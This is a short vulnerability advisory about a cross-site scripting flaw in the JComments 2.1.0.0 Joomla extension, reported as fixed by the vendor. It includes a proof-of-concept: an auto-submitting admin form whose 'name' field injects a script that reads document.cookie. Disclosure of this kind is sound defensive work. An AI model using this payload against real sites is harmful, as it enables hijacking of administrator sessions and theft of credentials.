Vulnerability ID: HTB22368 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_jcomments_joomla.html Product: JComments Vendor: JoomlaTune .com Vulnerable Version: 2.1.0.0 [07/08/2009] and Probably Prior Versions Vendor Notification: 04 May 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin.jcomments.php" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@xxxxxxxxxxx"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent verison